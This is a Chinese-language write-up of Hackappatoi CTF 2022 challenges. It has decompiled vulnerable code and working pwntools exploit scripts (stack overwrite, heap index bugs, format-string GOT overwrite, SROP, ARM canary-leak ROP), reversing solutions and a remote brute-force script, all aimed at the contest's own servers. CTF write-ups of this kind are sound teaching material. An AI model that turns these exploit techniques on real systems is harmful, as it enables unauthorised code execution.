当前位置: 首页 > 工具软件 > crypto-rl > 使用案例 >

[Hackappatoi CTF ‘22] pwn部分,rev,crypto

孟和玉
2023-12-01

这回基本没有crypto,pwn题后几个有难度,一直整不出来,等WP

pwn

Sanity drink

只要求输入与密码相同,输入可以覆盖到密码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char user_password[32]; // [rsp+0h] [rbp-50h] BYREF
  char otp_password[32]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("------------------------------------------------------------");
  puts("---------------[ Pwners Secret Club Access ]----------------");
  puts("------------------------------------------------------------");
  memset(user_password, 0, sizeof(user_password));
  memset(otp_password, 0, sizeof(otp_password));
  generate_otp(otp_password, 32);               // 大写随机字母
  printf("Enter password: ");
  fgets(user_password, 50, _bss_start);
  user_password[strcspn(user_password, "\n")] = 0;
  if ( !user_password[0] )
  {
    puts("Invalid input...");
    exit(1);
  }
  if ( !strcmp(user_password, otp_password) )
  {
    puts("Authenticated!");
    system("/bin/sh");
  }
  else
  {
    puts("Authentication failed...");
  }
  return v7 - __readfsqword(0x28u);
}

直接向后覆盖就行

from pwn import *

p = remote('hctf.hackappatoi.com', 10001)
context.log_level = 'debug'
p.send(b'AAA'.ljust(0x20, b'\x00')+b'AAA\x00'.ljust(0x20, b'\x00'))
p.interactive()
#HCTF{Ev3rY_p\/Vn_st4r7_w17h_dr1nk5}

heap_baby

有3个菜单,增加删除和检查,增加的时候有个错位,每次增加两个但计数只增加1,check时只检查第2个是否为指定值

__int64 add_user()
{
  int v0; // ebx
  int v1; // ebx
  int fd; // [rsp+4h] [rbp-1Ch]

  if ( usr_cnt > 4 )
    exit(0);
  v0 = usr_cnt;
  *((_QWORD *)&user_tuples + v0) = malloc(0x10uLL);
  printf("Insert username: ");
  read(0, *((void **)&user_tuples + usr_cnt), 0x10uLL);
  v1 = usr_cnt + 1;
  *((_QWORD *)&user_tuples + v1) = malloc(0x10uLL);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(0);
  if ( read(fd, *((void **)&user_tuples + usr_cnt + 1), 0x10uLL) < 0 )
    exit(0);
  return (unsigned int)++usr_cnt;  //只进行了一次usr_cnt
}
unsigned __int64 check()
{
  size_t v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = 0;
  puts("Oh you are the new barist?");
  puts("choose your fake identity");
  printf("> ");
  __isoc99_scanf("%u", &v2);
  if ( v2 <= 4 )
  {
    v0 = strlen(secret);
    if ( !strncmp(*((const char **)&user_tuples + v2 + 1), secret, v0) )
      system("/bin/sh");
  }
  puts("Oh nous you are screwed!");
  return v3 - __readfsqword(0x28u);
}

这样就只需要增加两块然后检查一个小点的块,居然没人作,结果手一抖输错了,再输就没有一血了。

┌──(kali㉿kali)-[~/ctf/hack/p6_heap_baby]
└─$ nc hctf.hackappatoi.com 10006
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 1
Insert username: quotidianabirra!
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 1
Insert username: quotidianabirra!
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 1
Insert username: quotidianabirra!
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 3
Oh you are the new barist?
choose your fake identity
> 1
ls
flag
heap_baby
run.sh
cat flag
HCTF{aaah_1nc0gn1t0_b4r1st4}

heap baby v2

同样的题居然出2了,修补了上题+1错位的问题,但free时没清指针

void __cdecl add_user()
{
  unsigned int v0; // ebx
  unsigned int v1; // ebx
  unsigned int user_idx; // [rsp+Ch] [rbp-24h] BYREF
  int fdrand; // [rsp+10h] [rbp-20h]
  int read_bytes; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  user_idx = 0;
  puts("in which pocket you want to save your new identity? (0-4)");
  printf("> ");
  __isoc99_scanf("%u", &user_idx);
  if ( user_idx > 4 )
  {
    puts("nope is not a place that!");
  }
  else
  {
    user_idx *= 2;
    v0 = user_idx;
    user_tuples[v0] = (char *)malloc(0x10uLL);
    v1 = user_idx + 1;
    user_tuples[v1] = (char *)malloc(0x10uLL);
    printf("Insert username: ");
    read(0, user_tuples[user_idx], 0x10uLL);
    fdrand = open("/dev/urandom", 0);
    if ( fdrand < 0 )
      exit(0);
    read_bytes = read(0, user_tuples[user_idx + 1], 0x10uLL);
    if ( read_bytes < 0 )
      exit(0);
  }
}
void __cdecl rm_user()
{
  unsigned int user_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  user_idx = 0;
  puts("What fake name you want to delete (0-4)");
  printf("> ");
  __isoc99_scanf("%u", &user_idx);
  if ( user_idx > 4 )
  {
    printf("Oh nous you cant chose that");
    fflush(stdout);
    exit(0);
  }
  free(user_tuples[user_idx]);
  free(user_tuples[user_idx + 1]);
}

当建一个块然后删掉再建时,正好与原来的顺序相反。这样先建块然后删掉,再建(idx用新的)

检查旧idx时即可得到shell

Endless Queue

有printf格式化字符串漏洞,和后门pay_any_get_beer,结束时调用exit并且got表无保护

void __cdecl __noreturn bar_queue()
{
  unsigned int v0; // eax
  unsigned int hours; // [rsp+Ch] [rbp-54h]
  char buffer[64]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buffer, 0, sizeof(buffer));
  hours = 1;
...
  printf(&format, main);                        // 给出程序加载地址
...
    printf("> ");
    gets(buffer);
    printf(buffer);                             // 格式化字符串
    putchar(10);                                // got[exit]=pay_and_get_beer
    puts(s);
...
  exit(0);
}

直接调用fmtstr_payload(10,{elf.got['exit']: elf.sym['pay_and_get_beer']})

Minimal bar

非常短的程序,有write和read

.text:0000000000401000                               ; __unwind {
.text:0000000000401000 F3 0F 1E FA                   endbr64
.text:0000000000401004 55                            push    rbp
.text:0000000000401005 48 89 E5                      mov     rbp, rsp
.text:0000000000401008 48 C7 45 F8 00 00 00 00       mov     qword ptr [rbp+buf], 0
.text:0000000000401010 8B 15 2E 34 00 00             mov     edx, cs:len_header              ; count
.text:0000000000401016 B8 01 00 00 00                mov     eax, 1
.text:000000000040101B BF 01 00 00 00                mov     edi, 1                          ; fd
.text:0000000000401020 48 8D 0D D9 2F 00 00          lea     rcx, b_header                   ; "\n"
.text:0000000000401027 48 89 CE                      mov     rsi, rcx                        ; buf
.text:000000000040102A 0F 05                         syscall                                 ; LINUX - sys_write
.text:000000000040102C 8B 15 16 34 00 00             mov     edx, cs:len_welcome             ; count
.text:0000000000401032 B8 01 00 00 00                mov     eax, 1
.text:0000000000401037 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:000000000040103C 48 8D 0D 7D 31 00 00          lea     rcx, b_welcome                  ; "\n"
.text:0000000000401043 48 89 CE                      mov     rsi, rcx                        ; buf
.text:0000000000401046 0F 05                         syscall                                 ; LINUX - sys_write
.text:0000000000401048 B8 00 00 00 00                mov     eax, 0
.text:000000000040104D BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401052 48 8D 4D F8                   lea     rcx, [rbp+buf]
.text:0000000000401056 BA 00 04 00 00                mov     edx, 400h                       ; count
.text:000000000040105B 48 89 CE                      mov     rsi, rcx                        ; buf
.text:000000000040105E 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000401060 90                            nop
.text:0000000000401061 5D                            pop     rbp
.text:0000000000401062 C3                            retn
.text:0000000000401062                               ; } // starts at 401000

有syscall这后边写rop应该很容易了,只是这里没有bin/sh,也没有直接控制rax,rdi的方法

记得原来有一个题rootersctf_2019_srop 有pop_rax_syscall_leave_ret这个gadget,这里中差个pop_rax,其实只要控制了rax就能通过sigret来得到shell。这里读入数据时会返回读入的长度到rax,可以利用这个gadget来控制rax.

1通过pop_rbp控制rbp将/bin/sh写入bss,并控制写的长度为15,rax=15

2然后调用sigreturn

from pwn import *

#p = process('./minimal_bar')
p = remote('hctf.hackappatoi.com', 10004)
context(arch='amd64', log_level='debug')

bss = 0x404800
bin_sh = bss-8
call_ret = 0x40105e
read_ret = 0x401048

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = bin_sh
frame.rip = call_ret

#pop一个bss的地址到rbp将bin/sh写入,并将读入的长度15存入rax,再利用rax=15调用syscall:sigret获得exec
pay = flat(b'A'*8, bss, read_ret, bss, call_ret, frame)
p.sendafter(b'> ', pay)

sleep(0.2)
p.send((b'/bin/sh\x00').ljust(15, b'\x00'))  #输入15字符,read返回读长度15到rax,调用sigret

p.interactive()

ARMsinthe

ARM的东西没弄过,按着网上搜着的样子,大概栈结果和x86是一样的,这样可以控制到ret到后门,但是参1的/bin/sh不会弄了,今天网上有了wp,复现一下。

1,从两个printf得到加载地址和canary,不过加载地址可以省略,因为这个题一直加载到5500000000上。

8 0x5502821b40              0x5502821b10->b40
9 0x5500000ca8              main->shot2
10 (nil)
11 0x7024313125             %11$p
12 0x5502821ce8
13 0x2645eb79dd544900       canary                 canary 
14 0x5502821b60             0x5502821b40->b60      0 
15 0x550289772c             ?                      secret+0x2c 

2,ADD X0, SP, #0x30+arg 这个命令别看差了,它是把x0 = sp+0x30+arg 这样,只要不从开头进入secret就可以让栈错位,从而读到下部rop里的/bin/sh

.text:0000000000000A54 FD 7B BD A9                   STP             X29, X30, [SP,#var_30]!
.text:0000000000000A58 FD 03 00 91                   MOV             X29, SP
.text:0000000000000A5C E0 0F 00 F9                   STR             X0, [SP,#0x30+arg]
.text:0000000000000A60 E0 00 00 F0                   ADRP            X0, #__stack_chk_guard_ptr@PAGE
.text:0000000000000A64 00 F4 47 F9                   LDR             X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000A68 01 00 40 F9                   LDR             X1, [X0]          
.text:0000000000000A6C E1 17 00 F9                   STR             X1, [SP,#0x30+var_8]
.text:0000000000000A70 01 00 80 D2                   MOV             X1, #0
.text:0000000000000A74 00 00 00 90 00 E0 33 91       ADRL            X0, aHoorayYouFound     ; s
.text:0000000000000A7C A1 FF FF 97                   BL              .puts
.text:0000000000000A7C
.text:0000000000000A80 E0 63 00 91                   ADD             X0, SP, #0x30+arg       ; command
.text:0000000000000A84 8F FF FF 97                   BL              .system

WP

#!/usr/bin/env python3
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 a.py remote ARMsinthe hctf.hackappatoi.com:10003

# debug in Ubuntu 22.04
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

sla("How many shots of ARMsinthe mate?\n-> ", "%9$p")
ru("You said ")
pwn_base = int(rl(),16) - 0xca8
elf.address = pwn_base
print('pwn:', hex(pwn_base))

sla("How many shots of ARMsinthe mate?\n-> ", "%13$p")
ru("You said ")
canary = int(rl(),16)
print('canary:', hex(canary))

pay = b'A'*64 + flat([
    canary,0,elf.sym['secret']+0x2c, 
    0,canary, 0,0,    #main canary
    0, '/bin/sh\0'    #SP=ret, SP+0x30=/bin/sh
    ]) 
sla("We are gonna have a problem here..\n -> ", pay)

ia()

#HCTF{m8_c4ll_th3_bARMan_w3_n33d_m0r3_sh0tz}

Beerop,Beerop_v1 未完成

后边两题没整明白。估计和minimal_bar有些关系,但是没弄成。没有read,读入的时候比较长,也得不到15

R13里存的是rsp可以通mov [rsp+var60],r13;lea rsi,[rsp+var60],再write过这个得到rsp地址

.rodata:0000000000002000 4C 89 6C 24 A0                mov     [rsp+var_60], r13
.rodata:0000000000002005 48 8D 74 24 A0                lea     rsi, [rsp+var_60]
.rodata:000000000000200A C3                            retn
.rodata:000000000000200A
.rodata:000000000000200A                               sub_2000 endp
.rodata:000000000000200A
.rodata:000000000000200B                               ; ---------------------------------------------------------------------------
.rodata:000000000000200B 90                            nop
.rodata:000000000000200C 5D                            pop     rbp
.rodata:000000000000200D C3                            retn
.rodata:000000000000200D
.rodata:000000000000200E                               ; ---------------------------------------------------------------------------
.rodata:000000000000200E B8 01 00 00 00                mov     eax, 1
.rodata:0000000000002013 BF 01 00 00 00                mov     edi, 1
.rodata:0000000000002018 BA 08 00 00 00                mov     edx, 8
.rodata:000000000000201D 0F 05                         syscall                                 ; LINUX - sys_write
.rodata:000000000000201F C3                            retn
.rodata:000000000000201F
.rodata:0000000000002020                               ; ---------------------------------------------------------------------------
.rodata:0000000000002020 5F                            pop     rdi
.rodata:0000000000002021 C3                            retn
.rodata:0000000000002021
.rodata:0000000000002022                               ; ---------------------------------------------------------------------------
.rodata:0000000000002022 90                            nop
.rodata:0000000000002023 5D                            pop     rbp
.rodata:0000000000002024 C3                            retn

REV

Sanity rev

打开就看着了

eXclusive club

先异或再比较

v4 = [41,34,53,39,58,36,25,34,45,20,116,112,55,114,30,113,51,31,15,113,53,126,60]
bytes([i^0x41 for i in v4])
#hctf{eXclU51v3_0r^N0t?}

Hackappa_rev

选1,2,3 每次加1,得到10,7,11就行了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3[2]; // [rsp+8h] [rbp-8h] BYREF

  puts("Welcome to the Hackappapub ! ");
  while ( 1 )
  {
    puts("What do you want to drink ?");
    puts("1)Hackappa beer");
    puts("2)Hackappa Cocktail");
    puts("3)Hackappacola ");
    v3[0] = 0;
    __isoc99_scanf("%d", v3);
    holder(v3[0]);
    if ( b == 6 && c == 6 && h == 6 )
      break;
    if ( b == 10 && c == 7 && h == 11 )
      decrypt();
  }
  v3[1] = out();
  exit(1);
}

Best videogame

一个简单的RC4加密

_DWORD *__fastcall KSA(__int64 a1, int a2)
{
  int i; // [rsp+18h] [rbp-18h]
  int v4; // [rsp+1Ch] [rbp-14h]
  int j; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  _DWORD *v7; // [rsp+28h] [rbp-8h]

  v7 = malloc(0x400uLL);
  for ( i = 0; i <= 255; ++i )
    v7[i] = i;
  v4 = 0;
  for ( j = 0; j <= 254; ++j )
  {
    v4 = (v7[j] + v4 + *(_DWORD *)(4LL * (j % a2) + a1)) % 256;
    v6 = v7[j];
    v7[j] = v7[v4];
    v7[v4] = v6;
  }
  return v7;
}
_DWORD *__fastcall PRGA(__int64 key, __int64 plan, __int64 ksa, int plan_len)
{
  int v7; // [rsp+28h] [rbp-18h]
  int v8; // [rsp+2Ch] [rbp-14h]
  int i; // [rsp+30h] [rbp-10h]
  int v10; // [rsp+34h] [rbp-Ch]
  _DWORD *v11; // [rsp+38h] [rbp-8h]

  v7 = 0;
  v8 = 0;
  v11 = malloc(4LL * plan_len);
  for ( i = 0; i < plan_len; ++i )
  {
    v7 = (v7 + 1) % 256;
    v8 = (v8 + *(_DWORD *)(4LL * v7 + ksa)) % 256;
    v10 = *(_DWORD *)(4LL * v7 + ksa);
    *(_DWORD *)(4LL * v7 + ksa) = *(_DWORD *)(4LL * v8 + ksa);
    *(_DWORD *)(ksa + 4LL * v8) = v10;
    v11[i] = *(_DWORD *)(4LL * ((*(_DWORD *)(4LL * v8 + ksa) + *(_DWORD *)(4LL * v7 + ksa)) % 256) + ksa) ^ *(_DWORD *)(4LL * i + plan);
  }
  return v11;
}

先得到流,可以写也可以gdb跟进看流

c = [61,164,170,39,239,123,13,77,104,196,194,153,26,117,248,2,50,15,139,116,25,151,157]

def get_ksa(key):
    v7 = [i for i in range(256)]
    v4 = 0
    for j in range(255):
        v4 = (v7[j] + v4 + key[j%len(key)])%256
        v7[j], v7[v4] = v7[v4], v7[j]
    return v7 

def prga(ksa, plan):
    v7 = 0
    v8 = 0
    v11 = [0 for i in range(len(plan))]
    for i in range(len(plan)):
        v7 = (v7+1)%256
        v8 = (v8 + ksa[v7])%256
        v10 = ksa[v7]
        ksa[v7],ksa[v8] = ksa[v8],ksa[v7]
        v11[i] = ksa[(ksa[v8] + ksa[v7]) % 256] ^ plan[i]
    return v11 

ksa = get_ksa(b'play')
stream = prga(ksa, b'\x00'*len(c))
plan = [stream[i]^c[i] for i in range(len(c))]
print(bytes(plan))
#R351d3N7_3viL_5CarY_Uh?
#hctf{R351d3N7_3viL_5CarY_Uh?}

Crypto

WhatsThePerc

题目只给了个远程,是个盲爆的题,随便输入flag格式的串会返回相似程序,如果输入字母正确,返回数就会大一点,这样一个个字节的爆即可。因为每次都要新开链接,所以时间比较长。

from pwn import *

context.log_level = 'error'
def get_v(t):
    p = remote('hctf.hackappatoi.com', 9001)
    p.sendlineafter(b'flag?\n', t.encode())
    r = eval(p.recvline())
    p.close()
    return r

h = 'HCTF{'
tb = 0
while True:
    set_v = {}
    tv = ''
    for i in range(0x21,0x7f):
        t = h+chr(i)
        v = get_v(t)
        #print(chr(i), v)
        if v> tb:
            tv = chr(i)
            tb = v 
    h += tv
    print(h, tb)
    #break

#HCTF{wh4t5_yo0r_4lch0l_p3rc3nt4g3}

 类似资料: